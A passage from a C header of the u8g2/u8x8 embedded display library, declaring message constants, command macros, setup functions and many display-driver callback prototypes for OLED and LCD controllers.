RAM access will not appear on the screen unless a special command is executed. With this message, this command sequence is executed. Use void u8x8_RefreshDisplay(u8x8_t *u8x8) to send the message to the display handler. */ #define U8X8_MSG_DISPLAY_REFRESH 16 /*==========================================*/ /* u8x8_setup.c */ uint8_t u8x8_dummy_cb(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* Setup u8x8 object itself. This should be the very first function called on the new u8x8 object. After this call, assign the callback functions. Optional: Set the pins */ void u8x8_SetupDefaults(u8x8_t *u8x8); /* do not use this, use u8x8_Setup() instead */ void u8x8_Setup(u8x8_t *u8x8, u8x8_msg_cb display_cb, u8x8_msg_cb cad_cb, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); /*==========================================*/ /* u8x8_display.c */ uint8_t u8x8_DrawTile(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t cnt, uint8_t *tile_ptr); /* After a call to u8x8_SetupDefaults, setup u8x8 memory structures & inform callbacks This function is also called from u8x8_Setup(), so do not call u8x8_SetupMemory() directly, but use u8x8_Setup() instead. */ void u8x8_SetupMemory(u8x8_t *u8x8); /* Init the interface to the display, but not the display itself. This might be useful, if the display is already running. InitInterface is called from InitDisplay, do not call both functions. */ void u8x8_InitInterface(u8x8_t *u8x8); /* After calling u8x8_SetupMemory()/u8x8_Setup(), init the display hardware itself. This will will the first time, u8x8 talks to the display. It will init the display, but keep display in power save mode. Usually this command must be followed by u8x8_SetPowerSave() */ void u8x8_InitDisplay(u8x8_t *u8x8); /* wake up display from power save mode */ void u8x8_SetPowerSave(u8x8_t *u8x8, uint8_t is_enable); void u8x8_SetFlipMode(u8x8_t *u8x8, uint8_t mode); void u8x8_SetContrast(u8x8_t *u8x8, uint8_t value); void u8x8_ClearDisplayWithTile(u8x8_t *u8x8, const uint8_t *buf) U8X8_NOINLINE; void u8x8_ClearDisplay(u8x8_t *u8x8); // this does not work for u8g2 in some cases void u8x8_FillDisplay(u8x8_t *u8x8); void u8x8_RefreshDisplay(u8x8_t *u8x8); // make RAM content visible on the display (Dec 16: SSD1606 only) void u8x8_ClearLine(u8x8_t *u8x8, uint8_t line); /*==========================================*/ /* Command Arg Data (CAD) Interface */ /* U8X8_MSG_CAD_INIT no args call U8X8_MSG_BYTE_INIT setup default values for the I/O lines */ #define U8X8_MSG_CAD_INIT 20 #define U8X8_MSG_CAD_SEND_CMD 21 /* arg_int: cmd byte */ #define U8X8_MSG_CAD_SEND_ARG 22 /* arg_int: arg byte */ #define U8X8_MSG_CAD_SEND_DATA 23 /* arg_int: expected cs level after processing this msg */ #define U8X8_MSG_CAD_START_TRANSFER 24 /* arg_int: expected cs level after processing this msg */ #define U8X8_MSG_CAD_END_TRANSFER 25 /* arg_int = 0: disable chip, arg_int = 1: enable chip */ //#define U8X8_MSG_CAD_SET_I2C_ADR 26 //#define U8X8_MSG_CAD_SET_DEVICE 27 /* u8g_cad.c */ #define u8x8_cad_Init(u8x8) ((u8x8)->cad_cb((u8x8), U8X8_MSG_CAD_INIT, 0, NULL )) uint8_t u8x8_cad_SendCmd(u8x8_t *u8x8, uint8_t cmd) U8X8_NOINLINE; uint8_t u8x8_cad_SendArg(u8x8_t *u8x8, uint8_t arg) U8X8_NOINLINE; uint8_t u8x8_cad_SendMultipleArg(u8x8_t *u8x8, uint8_t cnt, uint8_t arg) U8X8_NOINLINE; uint8_t u8x8_cad_SendData(u8x8_t *u8x8, uint8_t cnt, uint8_t *data) U8X8_NOINLINE; uint8_t u8x8_cad_StartTransfer(u8x8_t *u8x8) U8X8_NOINLINE; uint8_t u8x8_cad_EndTransfer(u8x8_t *u8x8) U8X8_NOINLINE; void u8x8_cad_vsendf(u8x8_t * u8x8, const char *fmt, va_list va); void u8x8_SendF(u8x8_t * u8x8, const char *fmt, ...); /* #define U8X8_C(c0) (0x04), (c0) #define U8X8_CA(c0,a0) (0x05), (c0), (a0) #define U8X8_CAA(c0,a0,a1) (0x06), (c0), (a0), (a1) #define U8X8_DATA() (0x10) #define U8X8_D1(d0) (0x11), (d0) */ #define U8X8_C(c0) (U8X8_MSG_CAD_SEND_CMD), (c0) #define U8X8_A(a0) (U8X8_MSG_CAD_SEND_ARG), (a0) #define U8X8_CA(c0,a0) (U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_ARG), (a0) #define U8X8_CAA(c0,a0,a1) (U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1) #define U8X8_CCAA(c0,c1,a0, a1) (U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_CMD), (c1), (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1) #define U8X8_CAAA(c0,a0,a1, a2) (U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1), (U8X8_MSG_CAD_SEND_ARG), (a2) #define U8X8_CAAAA(c0,a0,a1,a2,a3) (U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1), (U8X8_MSG_CAD_SEND_ARG), (a2), (U8X8_MSG_CAD_SEND_ARG), (a3) #define U8X8_AAC(a0,a1,c0) (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1), (U8X8_MSG_CAD_SEND_CMD), (c0) #define U8X8_D1(d0) (U8X8_MSG_CAD_SEND_DATA), (d0) #define U8X8_A4(a0,a1,a2,a3) U8X8_A(a0), U8X8_A(a1), U8X8_A(a2), U8X8_A(a3) #define U8X8_A8(a0,a1,a2,a3,a4,a5,a6,a7) U8X8_A4((a0), (a1), (a2), (a3)), U8X8_A4((a4), (a5), (a6), (a7)) #define U8X8_START_TRANSFER() (U8X8_MSG_CAD_START_TRANSFER) #define U8X8_END_TRANSFER() (U8X8_MSG_CAD_END_TRANSFER) #define U8X8_DLY(m) (0xfe),(m) /* delay in milli seconds */ #define U8X8_END() (0xff) void u8x8_cad_SendSequence(u8x8_t *u8x8, uint8_t const *data); uint8_t u8x8_cad_empty(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_110(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_gu800_cad_110(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_001(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_011(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_st7920_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_ssd13xx_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_ssd13xx_fast_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_st75256_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_ld7032_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_cad_uc16xx_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* CAD=001 */ uint8_t u8x8_cad_uc1638_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* CAD=011 */ /*==========================================*/ /* Byte Interface */ #define U8X8_MSG_BYTE_INIT U8X8_MSG_CAD_INIT #define U8X8_MSG_BYTE_SET_DC 32 #define U8X8_MSG_BYTE_SEND U8X8_MSG_CAD_SEND_DATA #define U8X8_MSG_BYTE_START_TRANSFER U8X8_MSG_CAD_START_TRANSFER #define U8X8_MSG_BYTE_END_TRANSFER U8X8_MSG_CAD_END_TRANSFER //#define U8X8_MSG_BYTE_SET_I2C_ADR U8X8_MSG_CAD_SET_I2C_ADR //#define U8X8_MSG_BYTE_SET_DEVICE U8X8_MSG_CAD_SET_DEVICE uint8_t u8x8_byte_SetDC(u8x8_t *u8x8, uint8_t dc) U8X8_NOINLINE; uint8_t u8x8_byte_SendByte(u8x8_t *u8x8, uint8_t byte) U8X8_NOINLINE; uint8_t u8x8_byte_SendBytes(u8x8_t *u8x8, uint8_t cnt, uint8_t *data) U8X8_NOINLINE; uint8_t u8x8_byte_StartTransfer(u8x8_t *u8x8); uint8_t u8x8_byte_EndTransfer(u8x8_t *u8x8); uint8_t u8x8_byte_empty(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_byte_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_byte_8bit_6800mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_byte_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_byte_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* uint8_t u8x8_byte_st7920_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); */ void u8x8_byte_set_ks0108_cs(u8x8_t *u8x8, uint8_t arg) U8X8_NOINLINE; uint8_t u8x8_byte_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_byte_ssd13xx_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* OBSOLETE! */ uint8_t u8x8_byte_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_byte_sed1520(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /*==========================================*/ /* GPIO Interface */ /* U8X8_MSG_GPIO_AND_DELAY_INIT no args setup port directions, do not set IO levels, this is done with BYTE/CAD_INIT */ #define U8X8_MSG_GPIO_AND_DELAY_INIT 40 /* arg_int: milliseconds */ #define U8X8_MSG_DELAY_MILLI 41 /* 10MICRO and 100NANO are not used at the moment */ #define U8X8_MSG_DELAY_10MICRO 42 #define U8X8_MSG_DELAY_100NANO 43 #define U8X8_MSG_DELAY_NANO 44 /* delay of one i2c unit, should be 5us for 100K, and 1.25us for 400K */ #define U8X8_MSG_DELAY_I2C 45 #define U8X8_MSG_GPIO(x) (64+(x)) #ifdef U8X8_USE_PINS #define u8x8_GetPinIndex(u8x8, msg) ((msg)&0x3f) #define u8x8_GetPinValue(u8x8, msg) ((u8x8)->pins[(msg)&0x3f]) #endif #define U8X8_MSG_GPIO_D0 U8X8_MSG_GPIO(U8X8_PIN_D0) #define U8X8_MSG_GPIO_SPI_CLOCK U8X8_MSG_GPIO(U8X8_PIN_SPI_CLOCK) #define U8X8_MSG_GPIO_D1 U8X8_MSG_GPIO(U8X8_PIN_D1) #define U8X8_MSG_GPIO_SPI_DATA U8X8_MSG_GPIO(U8X8_PIN_SPI_DATA) #define U8X8_MSG_GPIO_D2 U8X8_MSG_GPIO(U8X8_PIN_D2) #define U8X8_MSG_GPIO_D3 U8X8_MSG_GPIO(U8X8_PIN_D3) #define U8X8_MSG_GPIO_D4 U8X8_MSG_GPIO(U8X8_PIN_D4) #define U8X8_MSG_GPIO_D5 U8X8_MSG_GPIO(U8X8_PIN_D5) #define U8X8_MSG_GPIO_D6 U8X8_MSG_GPIO(U8X8_PIN_D6) #define U8X8_MSG_GPIO_D7 U8X8_MSG_GPIO(U8X8_PIN_D7) #define U8X8_MSG_GPIO_E U8X8_MSG_GPIO(U8X8_PIN_E) // used as E1 for the SED1520 #define U8X8_MSG_GPIO_CS U8X8_MSG_GPIO(U8X8_PIN_CS) // used as E2 for the SED1520 #define U8X8_MSG_GPIO_DC U8X8_MSG_GPIO(U8X8_PIN_DC) #define U8X8_MSG_GPIO_RESET U8X8_MSG_GPIO(U8X8_PIN_RESET) #define U8X8_MSG_GPIO_I2C_CLOCK U8X8_MSG_GPIO(U8X8_PIN_I2C_CLOCK) #define U8X8_MSG_GPIO_I2C_DATA U8X8_MSG_GPIO(U8X8_PIN_I2C_DATA) #define U8X8_MSG_GPIO_CS1 U8X8_MSG_GPIO(U8X8_PIN_CS1) /* KS0108 extra chip select */ #define U8X8_MSG_GPIO_CS2 U8X8_MSG_GPIO(U8X8_PIN_CS2) /* KS0108 extra chip select */ /* these message expect the return value in u8x8->gpio_result */ #define U8X8_MSG_GPIO_MENU_SELECT U8X8_MSG_GPIO(U8X8_PIN_MENU_SELECT) #define U8X8_MSG_GPIO_MENU_NEXT U8X8_MSG_GPIO(U8X8_PIN_MENU_NEXT) #define U8X8_MSG_GPIO_MENU_PREV U8X8_MSG_GPIO(U8X8_PIN_MENU_PREV) #define U8X8_MSG_GPIO_MENU_HOME U8X8_MSG_GPIO(U8X8_PIN_MENU_HOME) #define U8X8_MSG_GPIO_MENU_UP U8X8_MSG_GPIO(U8X8_PIN_MENU_UP) #define U8X8_MSG_GPIO_MENU_DOWN U8X8_MSG_GPIO(U8X8_PIN_MENU_DOWN) #define u8x8_gpio_Init(u8x8) ((u8x8)->gpio_and_delay_cb((u8x8), U8X8_MSG_GPIO_AND_DELAY_INIT, 0, NULL )) /* #define u8x8_gpio_SetDC(u8x8, v) ((u8x8)->gpio_and_delay_cb((u8x8), U8X8_MSG_GPIO_DC, (v), NULL )) #define u8x8_gpio_SetCS(u8x8, v) ((u8x8)->gpio_and_delay_cb((u8x8), U8X8_MSG_GPIO_CS, (v), NULL )) #define u8x8_gpio_SetReset(u8x8, v) ((u8x8)->gpio_and_delay_cb((u8x8), U8X8_MSG_GPIO_RESET, (v), NULL )) */ #define u8x8_gpio_SetDC(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_DC, (v)) #define u8x8_gpio_SetCS(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_CS, (v)) #define u8x8_gpio_SetReset(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_RESET, (v)) #define u8x8_gpio_SetSPIClock(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_SPI_CLOCK, (v)) #define u8x8_gpio_SetSPIData(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_SPI_DATA, (v)) #define u8x8_gpio_SetI2CClock(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_I2C_CLOCK, (v)) #define u8x8_gpio_SetI2CData(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_I2C_DATA, (v)) void u8x8_gpio_call(u8x8_t *u8x8, uint8_t msg, uint8_t arg) U8X8_NOINLINE; #define u8x8_gpio_Delay(u8x8, msg, dly) u8x8_gpio_call((u8x8), (msg), (dly)) //void u8x8_gpio_Delay(u8x8_t *u8x8, uint8_t msg, uint8_t dly) U8X8_NOINLINE; /*==========================================*/ /* u8x8_debounce.c */ /* return U8X8_MSG_GPIO_MENU_xxxxx messages */ uint8_t u8x8_GetMenuEvent(u8x8_t *u8x8); /*==========================================*/ /* u8x8_d_stdio.c */ void u8x8_SetupStdio(u8x8_t *u8x8); /*==========================================*/ /* u8x8_d_sdl_128x64.c */ void u8x8_Setup_SDL_128x64(u8x8_t *u8x8); void u8x8_Setup_SDL_240x160(u8x8_t *u8x8); int u8g_sdl_get_key(void); /*==========================================*/ /* u8x8_d_tga.c */ void u8x8_Setup_TGA_DESC(u8x8_t *u8x8); void u8x8_Setup_TGA_LCD(u8x8_t *u8x8); void tga_save(const char *name); /*==========================================*/ /* u8x8_d_bitmap.c */ uint8_t u8x8_GetBitmapPixel(u8x8_t *u8x8, uint16_t x, uint16_t y); void u8x8_SaveBitmapTGA(u8x8_t *u8x8, const char *filename); void u8x8_SetupBitmap(u8x8_t *u8x8, uint16_t pixel_width, uint16_t pixel_height); uint8_t u8x8_ConnectBitmapToU8x8(u8x8_t *u8x8); /*==========================================*/ /* u8x8_d_framebuffer.c */ void u8x8_SetupLinuxFb(u8x8_t *u8x8, int fbfd); void u8x8_LinuxFbSetActiveColor(uint32_t color); /*==========================================*/ /* u8x8_d_utf8.c */ void u8x8_Setup_Utf8(u8x8_t *u8x8); /* stdout UTF-8 display */ void utf8_show(void); /* show content of UTF-8 frame buffer */ /*==========================================*/ /* u8x8_setup.c */ uint8_t u8x8_d_null_cb(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* u8x8_d_XXX.c */ uint8_t u8x8_d_uc1701_ea_dogs102(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1701_mini12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1305_128x32_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1305_128x32_adafruit(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /*uint8_t u8x8_d_ssd1305_128x32_waveshare(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);*/ uint8_t u8x8_d_ssd1305_128x64_adafruit(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1305_128x64_raystar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_128x64_vcomh0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_128x64_alt0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1309_128x64_noname0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1309_128x64_noname2(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1312_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_2040x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_128x32_univision(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_128x32_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_102x64_ea_oleds102(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* u8x8_ssd1309.c */ uint8_t u8x8_d_ssd1306_64x48_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_48x64_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_64x32_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_64x32_1f(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_96x16_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_96x40(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_96x39(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1306_72x40_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1106_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1106_128x64_vcomh0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1106_128x64_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1106_128x32_visionox(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); // located in ssd1306_128x32 uint8_t u8x8_d_sh1106_72x40_wise(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1106_64x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1107_64x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1107_seeed_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1107_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1107_128x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1107_pimoroni_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1107_seeed_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1107_hjr_oel1m0201_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1107_tk078f288_80x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1108_128x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1108_160x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sh1122_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7920_144x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7920_160x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7920_192x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7920_256x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7920_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ls013b7dh03_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ls027b7dh01_400x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ls027b7dh01_m0_400x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ls013b7dh05_144x168(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7511_avd_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7528_nhd_c160100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7528_erc16064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7539_192x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_ea_dogm128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_lm6063(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_64128n(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_ea_dogm132(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_zolen_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_nhd_c12832(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_nhd_c12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_lm6059(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_ks0713(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_lx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_erc12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7565_erc12864_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* issue #790 */ uint8_t u8x8_d_st7567_pi_132x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7567_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7567_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7567_enh_dg128064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7567_enh_dg128064i(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7567_64x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7567_hem6432(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7567_os12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7567_erc13232(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7571_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7571_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7586s_s028hn118a(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7586s_jlx384160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7586s_erc240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7586s_ymc240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st7588_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75160_jm16096(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx256128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_wo256x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx256160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx256160m(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx256160_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx25664(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx172104(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx19296(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75256_jlx16080(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_st75320_jlx320240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* https://github.com/olikraus/u8g2/issues/921 */ uint8_t u8x8_d_nt7534_tg12864r(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* u8x8_d_st7565.c */ uint8_t u8x8_d_ld7032_60x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ld7032_60x32_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ld7032_128x36(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_t6963_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_t6963_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_t6963_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void 